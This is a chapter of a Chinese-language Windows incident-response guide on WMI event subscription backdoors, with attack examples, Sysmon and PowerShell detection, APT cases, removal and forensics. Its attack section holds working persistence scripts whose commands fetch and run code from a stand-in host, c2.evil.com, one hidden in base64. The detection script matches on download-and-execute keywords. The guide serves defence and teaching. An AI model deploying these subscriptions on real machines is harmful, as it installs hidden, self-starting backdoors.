Windows应急响应 - 21 WMI事件订阅后门

Windows应急响应/21-WMI事件订阅后门

tags:: #Windows应急响应 #持久化 #WMI #EventSubscription #Backdoor
category:: 持久化与后门检测
difficulty:: 高级
platform:: Windows 7/10/11, Server 2012-2022

概述

WMI Event Subscription是Windows中最隐蔽的持久化机制之一

利用WMI的事件订阅系统,在特定事件触发时自动执行恶意代码

MITRE ATT&CK: T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription

无文件落地、无注册表Run Key、无计划任务——传统检查方法容易遗漏

曾被APT29、APT28、Turla等多个APT组织在实际攻击中使用

参考: 08-计划任务与服务审计 中WMI相关审计基础

一、WMI事件订阅核心概念

1.1 三元组 (Trifecta)

WMI持久化由三个组件构成,缺一不可:

__EventFilter — 事件过滤器

定义触发条件(WQL查询)

例如: 系统启动、进程创建、用户登录、定时间隔等

__EventConsumer — 事件消费者

定义触发后执行的操作

主要类型:

CommandLineEventConsumer — 执行命令行

ActiveScriptEventConsumer — 执行VBScript/JScript

LogFileEventConsumer — 写入日志文件

NTEventLogEventConsumer — 写入事件日志

SMTPEventConsumer — 发送邮件

__FilterToConsumerBinding — 绑定关系

将Filter和Consumer关联起来

没有Binding,Filter和Consumer各自存在但不会触发

1.2 WMI存储位置

WMI数据存储在CIM Repository中:

1
2
3
4
5
6
C:\Windows\System32\wbem\Repository\
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA # 对象数据
INDEX.BTR # 索引

这些是二进制文件,不能直接查看

但可以通过WMI API/PowerShell查询

1.3 WQL查询语言

WMI Query Language (WQL) 类似SQL,用于定义事件过滤条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- 系统启动后60秒触发
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180

-- 每300秒触发一次(定时器)
SELECT * FROM __TimerEvent WHERE TimerID = 'PayloadTimer'

-- 特定进程启动时触发
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'explorer.exe'

-- 用户登录触发
SELECT * FROM __InstanceCreationEvent WITHIN 15
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2

二、攻击手法详解

2.1 CommandLineEventConsumer后门

最常见的WMI持久化方式——执行命令行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 创建EventFilter(触发条件:系统启动后120秒)
$filterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs

# 创建EventConsumer(执行payload)
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "powershell.exe -w hidden -nop -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBJAEUAWAAoACQAYwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjADIALgBlAHYAaQBsAC4AYwBvAG0ALwBzAHQAYQBnAGUAcgAnACkAKQA="
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

# 创建Binding(将Filter和Consumer绑定)
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs

2.2 ActiveScriptEventConsumer后门

使用VBScript/JScript执行,更灵活:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# EventFilter(进程创建触发)
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = 'ProcessMonitorFilter'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
QueryLanguage = 'WQL'
}

# ActiveScriptEventConsumer(执行VBScript)
$consumer = Set-WmiInstance -Namespace root/subscription -Class ActiveScriptEventConsumer -Arguments @{
Name = 'ProcessMonitorConsumer'
ScriptingEngine = 'VBScript'
ScriptText = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -w hidden -nop -c ""IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/payload')""", 0, False
'@
}

# Binding
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}

注意: ActiveScriptEventConsumer在Windows 10某些版本已被限制

但在Server版本和旧版Windows上仍然可用

2.3 MOF文件编译持久化

Managed Object Format (MOF) 文件可以定义WMI类和实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// payload.mof
#pragma namespace("\\\\.\\root\\subscription")

// EventFilter
instance of __EventFilter as $Filter {
EventNamespace = "root\\cimv2";
Name = "SystemFilter";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 "
"WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' "
"AND TargetInstance.SystemUpTime >= 120 "
"AND TargetInstance.SystemUpTime < 180";
QueryLanguage = "WQL";
};

// CommandLineEventConsumer
instance of CommandLineEventConsumer as $Consumer {
Name = "SystemConsumer";
RunInteractively = false;
CommandLineTemplate = "cmd.exe /c C:\\Users\\Public\\payload.exe";
};

// Binding
instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $Filter;
};

编译MOF文件:

1
mofcomp.exe payload.mof

MOF编译后直接写入CIM Repository

旧版Windows有AutoRecover MOF功能:

1
C:\Windows\System32\wbem\mof\  (放在此目录自动编译)

2.4 定时器触发(Interval Timer)

使用WMI定时器实现周期执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 创建定时器(每300秒触发)
Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{
IntervalBetweenEvents = 300000 # 毫秒
TimerID = 'PayloadTimer'
SkipIfPassed = $false
}

# EventFilter使用TimerEvent
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = 'TimerFilter'
Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'PayloadTimer'"
QueryLanguage = 'WQL'
}

# Consumer和Binding同上...

三、Sysmon事件检测

3.1 Sysmon WMI事件类型

Sysmon提供专用的WMI事件监控:

Event ID 19: WmiEventFilter activity detected

记录__EventFilter的创建

Event ID 20: WmiEventConsumer activity detected

记录__EventConsumer的创建

Event ID 21: WmiEventConsumerToFilter activity detected

记录__FilterToConsumerBinding的创建

3.2 Sysmon配置

启用WMI事件监控的Sysmon配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- WMI Event Filter -->
<WmiEvent onmatch="include">
<Operation condition="is">Created</Operation>
</WmiEvent>
<WmiEvent onmatch="include">
<Operation condition="is">Modified</Operation>
</WmiEvent>
<WmiEvent onmatch="include">
<Operation condition="is">Deleted</Operation>
</WmiEvent>
</EventFiltering>
</Sysmon>

3.3 查询Sysmon WMI事件

查询所有WMI持久化相关事件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查询Sysmon Event ID 19, 20, 21
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 19, 20, 21
} | ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
TimeCreated = $_.TimeCreated
EventID = $_.Id
EventType = switch ($_.Id) {
19 { "EventFilter" }
20 { "EventConsumer" }
21 { "FilterToConsumerBinding" }
}
Operation = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'Operation' }).'#text'
Name = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'Name' }).'#text'
User = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'User' }).'#text'
}
} | Format-Table -AutoSize

四、PowerShell检测与枚举

4.1 枚举所有WMI订阅

完整的WMI事件订阅检查脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Write-Host "=== WMI Event Subscription Audit ===" -ForegroundColor Cyan

# 1. 枚举EventFilter
Write-Host "`n[1] Event Filters:" -ForegroundColor Yellow
Get-WmiObject -Namespace root/subscription -Class __EventFilter | ForEach-Object {
Write-Host " Name: $($_.Name)" -ForegroundColor White
Write-Host " Query: $($_.Query)" -ForegroundColor Gray
Write-Host " EventNamespace: $($_.EventNamespace)"
Write-Host " Creator: $($_.CreatorSID)" -ForegroundColor Gray
}

# 2. 枚举EventConsumer(所有类型)
Write-Host "`n[2] Event Consumers:" -ForegroundColor Yellow

# CommandLineEventConsumer
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer | ForEach-Object {
Write-Host " [CMD] $($_.Name)" -ForegroundColor Red
Write-Host " CommandLine: $($_.CommandLineTemplate)" -ForegroundColor Yellow
Write-Host " WorkingDir: $($_.WorkingDirectory)"
}

# ActiveScriptEventConsumer
Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer | ForEach-Object {
Write-Host " [SCRIPT] $($_.Name)" -ForegroundColor Red
Write-Host " Engine: $($_.ScriptingEngine)"
Write-Host " Script: $($_.ScriptText)" -ForegroundColor Yellow
}

# LogFileEventConsumer
Get-WmiObject -Namespace root/subscription -Class LogFileEventConsumer | ForEach-Object {
Write-Host " [LOG] $($_.Name)" -ForegroundColor Magenta
Write-Host " Filename: $($_.Filename)"
Write-Host " Text: $($_.Text)"
}

# 3. 枚举Bindings
Write-Host "`n[3] Filter-to-Consumer Bindings:" -ForegroundColor Yellow
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | ForEach-Object {
Write-Host " Filter: $($_.Filter)" -ForegroundColor Gray
Write-Host " Consumer: $($_.Consumer)" -ForegroundColor Gray
Write-Host " ---"
}

4.2 CIM Cmdlet替代方案

在PowerShell 3.0+使用CIM Cmdlet(更现代的API):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 使用CIM枚举(推荐)
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
Get-CimInstance -Namespace root/subscription -ClassName __EventConsumer
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding

# 组合查询
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding | ForEach-Object {
$filterRef = $_.Filter
$consumerRef = $_.Consumer

Write-Host "Binding:" -ForegroundColor Cyan
Write-Host " Filter: $($filterRef.Name) -> $($filterRef.Query)"
Write-Host " Consumer: $($consumerRef.Name)"

if ($consumerRef.CimClass.CimClassName -eq 'CommandLineEventConsumer') {
Write-Host " [!] CommandLine: $($consumerRef.CommandLineTemplate)" -ForegroundColor Red
}
elseif ($consumerRef.CimClass.CimClassName -eq 'ActiveScriptEventConsumer') {
Write-Host " [!] Script ($($consumerRef.ScriptingEngine)):" -ForegroundColor Red
Write-Host " $($consumerRef.ScriptText)" -ForegroundColor Yellow
}
}

4.3 WMIC命令行检查

如果PowerShell受限,可以使用WMIC:

1
2
3
4
wmic /namespace:\\root\subscription PATH __EventFilter GET Name, Query /FORMAT:LIST
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer GET Name, CommandLineTemplate /FORMAT:LIST
wmic /namespace:\\root\subscription PATH ActiveScriptEventConsumer GET Name, ScriptingEngine, ScriptText /FORMAT:LIST
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding GET Filter, Consumer /FORMAT:LIST

注意: WMIC在新版Windows中已被标记为deprecated

4.4 自动化威胁检测脚本

综合检测脚本,自动识别可疑WMI订阅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function Detect-SuspiciousWMISubscription {
$suspicious = @()

# 检查所有CommandLineEventConsumer
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue | ForEach-Object {
$cmd = $_.CommandLineTemplate
$flags = @()

if ($cmd -match "(?i)(powershell|cmd\.exe|mshta|regsvr32|rundll32|wscript|cscript)") {
$flags += "LOLBIN"
}
if ($cmd -match "(?i)(-enc|-encodedcommand|frombase64|base64)") {
$flags += "ENCODED"
}
if ($cmd -match "(?i)(http|https|ftp)://") {
$flags += "REMOTE"
}
if ($cmd -match "(?i)(downloadstring|downloadfile|invoke-expression|iex)") {
$flags += "DOWNLOAD_EXEC"
}

if ($flags.Count -gt 0) {
$suspicious += [PSCustomObject]@{
Type = "CommandLineConsumer"
Name = $_.Name
Content = $cmd
Flags = ($flags -join ", ")
}
}
}

# 检查所有ActiveScriptEventConsumer
Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -ErrorAction SilentlyContinue | ForEach-Object {
$suspicious += [PSCustomObject]@{
Type = "ActiveScriptConsumer"
Name = $_.Name
Content = "$($_.ScriptingEngine): $($_.ScriptText.Substring(0, [Math]::Min(200, $_.ScriptText.Length)))"
Flags = "SCRIPT_EXECUTION"
}
}

if ($suspicious.Count -gt 0) {
Write-Host "[!] Suspicious WMI Subscriptions Found:" -ForegroundColor Red
$suspicious | Format-Table -AutoSize -Wrap
} else {
Write-Host "[+] No suspicious WMI subscriptions detected." -ForegroundColor Green
}

return $suspicious
}

Detect-SuspiciousWMISubscription

五、真实APT案例

5.1 APT29 — POSHSPY后门

APT29使用WMI事件订阅部署PowerShell后门:

1
2
3
4
5
6
7
Filter Name: BVTFilter
Query: SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400

Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\<path>).<value>)))"

注意: payload存储在注册表中,WMI只负责触发读取和执行

这种分离式设计增加了检测难度

5.2 Turla — Carbon后门

Turla组织使用WMI实现定时执行:

1
2
Filter: 每隔1小时检查一次
Consumer: 执行位于 %APPDATA% 下的加密配置文件

结合文件系统中的加密payload和WMI触发器

5.3 Lazarus Group

使用ActiveScriptEventConsumer执行混淆的JScript:

1
2
3
Consumer Type: ActiveScriptEventConsumer
Engine: JScript
Script: 高度混淆的JS代码,最终下载并执行第二阶段payload

六、清除与修复

6.1 删除恶意WMI订阅

必须按顺序删除: Binding -> Consumer -> Filter

PowerShell删除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Step 1: 删除Binding
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | Where-Object {
$_.Filter -like '*WindowsUpdateFilter*'
} | Remove-WmiObject

# Step 2: 删除Consumer
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer | Where-Object {
$_.Name -eq 'WindowsUpdateConsumer'
} | Remove-WmiObject

# Step 3: 删除Filter
Get-WmiObject -Namespace root/subscription -Class __EventFilter | Where-Object {
$_.Name -eq 'WindowsUpdateFilter'
} | Remove-WmiObject

CIM方式(推荐):

1
2
3
4
5
6
7
8
9
10
11
12
# 删除所有可疑订阅
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding |
Where-Object { $_.Filter.Name -eq 'WindowsUpdateFilter' } |
Remove-CimInstance

Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer |
Where-Object { $_.Name -eq 'WindowsUpdateConsumer' } |
Remove-CimInstance

Get-CimInstance -Namespace root/subscription -ClassName __EventFilter |
Where-Object { $_.Name -eq 'WindowsUpdateFilter' } |
Remove-CimInstance

6.2 批量清除所有非系统WMI订阅

在确认环境中没有合法WMI订阅的情况下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 危险操作! 会删除所有WMI事件订阅
# 仅在确认无合法订阅时使用

Write-Host "[!] Removing ALL WMI Event Subscriptions..." -ForegroundColor Red

Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue |
Remove-WmiObject -ErrorAction SilentlyContinue

Get-WmiObject -Namespace root/subscription -Class __EventConsumer -ErrorAction SilentlyContinue |
Remove-WmiObject -ErrorAction SilentlyContinue

Get-WmiObject -Namespace root/subscription -Class __EventFilter -ErrorAction SilentlyContinue |
Remove-WmiObject -ErrorAction SilentlyContinue

Write-Host "[+] All subscriptions removed." -ForegroundColor Green

6.3 WMI Repository重建(核弹选项)

如果WMI Repository严重受损或需要彻底清理:

1
2
3
4
5
6
7
8
9
10
11
:: 停止WMI服务
net stop winmgmt /y

:: 备份Repository
rename C:\Windows\System32\wbem\Repository Repository.bak

:: 重启WMI服务(会自动重建Repository)
net start winmgmt

:: 重新编译MOF文件恢复系统类
for %f in (C:\Windows\System32\wbem\*.mof) do mofcomp "%f"

警告: 这会丢失所有自定义WMI数据,仅在极端情况下使用

七、取证分析

7.1 离线分析CIM Repository

使用python-cim工具解析离线Repository:

1
2
:: 复制Repository文件
copy C:\Windows\System32\wbem\Repository\* evidence\wmi_repo\

使用PyWMIPersistenceFinder:

1
python PyWMIPersistenceFinder.py evidence\wmi_repo\OBJECTS.DATA

这在分析内存镜像或离线磁盘时特别有用

7.2 时间线关联

WMI订阅的创建时间可以通过以下方式确定:

Sysmon Event 19/20/21的时间戳

OBJECTS.DATA文件的修改时间

与其他持久化机制的时间线交叉比对

关联检查:

触发时间点是否有网络连接事件

Consumer执行的命令是否有对应的进程创建事件

八、关联检查

WMI事件订阅后门应与以下内容关联分析:

08-计划任务与服务审计 — WMI审计基础

23-COM劫持 — WMI订阅可能触发COM对象

18-Registry-Run后门 — payload可能存储在注册表中

19-计划任务后门 — 多种持久化机制并用

20-Windows服务后门 — 同时检查服务后门

九、应急响应Checklist

[ ] 枚举所有 __EventFilter 实例

[ ] 枚举所有 CommandLineEventConsumer 实例

[ ] 枚举所有 ActiveScriptEventConsumer 实例

[ ] 枚举所有 __FilterToConsumerBinding 实例

[ ] 检查Sysmon Event ID 19/20/21

[ ] 检查Consumer中的命令行是否包含编码/混淆

[ ] 检查MOF文件 (C:\Windows\System32\wbem\mof\)

[ ] 收集CIM Repository文件作为证据

[ ] 按顺序删除恶意Binding -> Consumer -> Filter

[ ] 验证删除后WMI订阅已清空


上一章 目录 下一章
20-Windows服务后门 Windows应急响应 22-DLL劫持与侧加载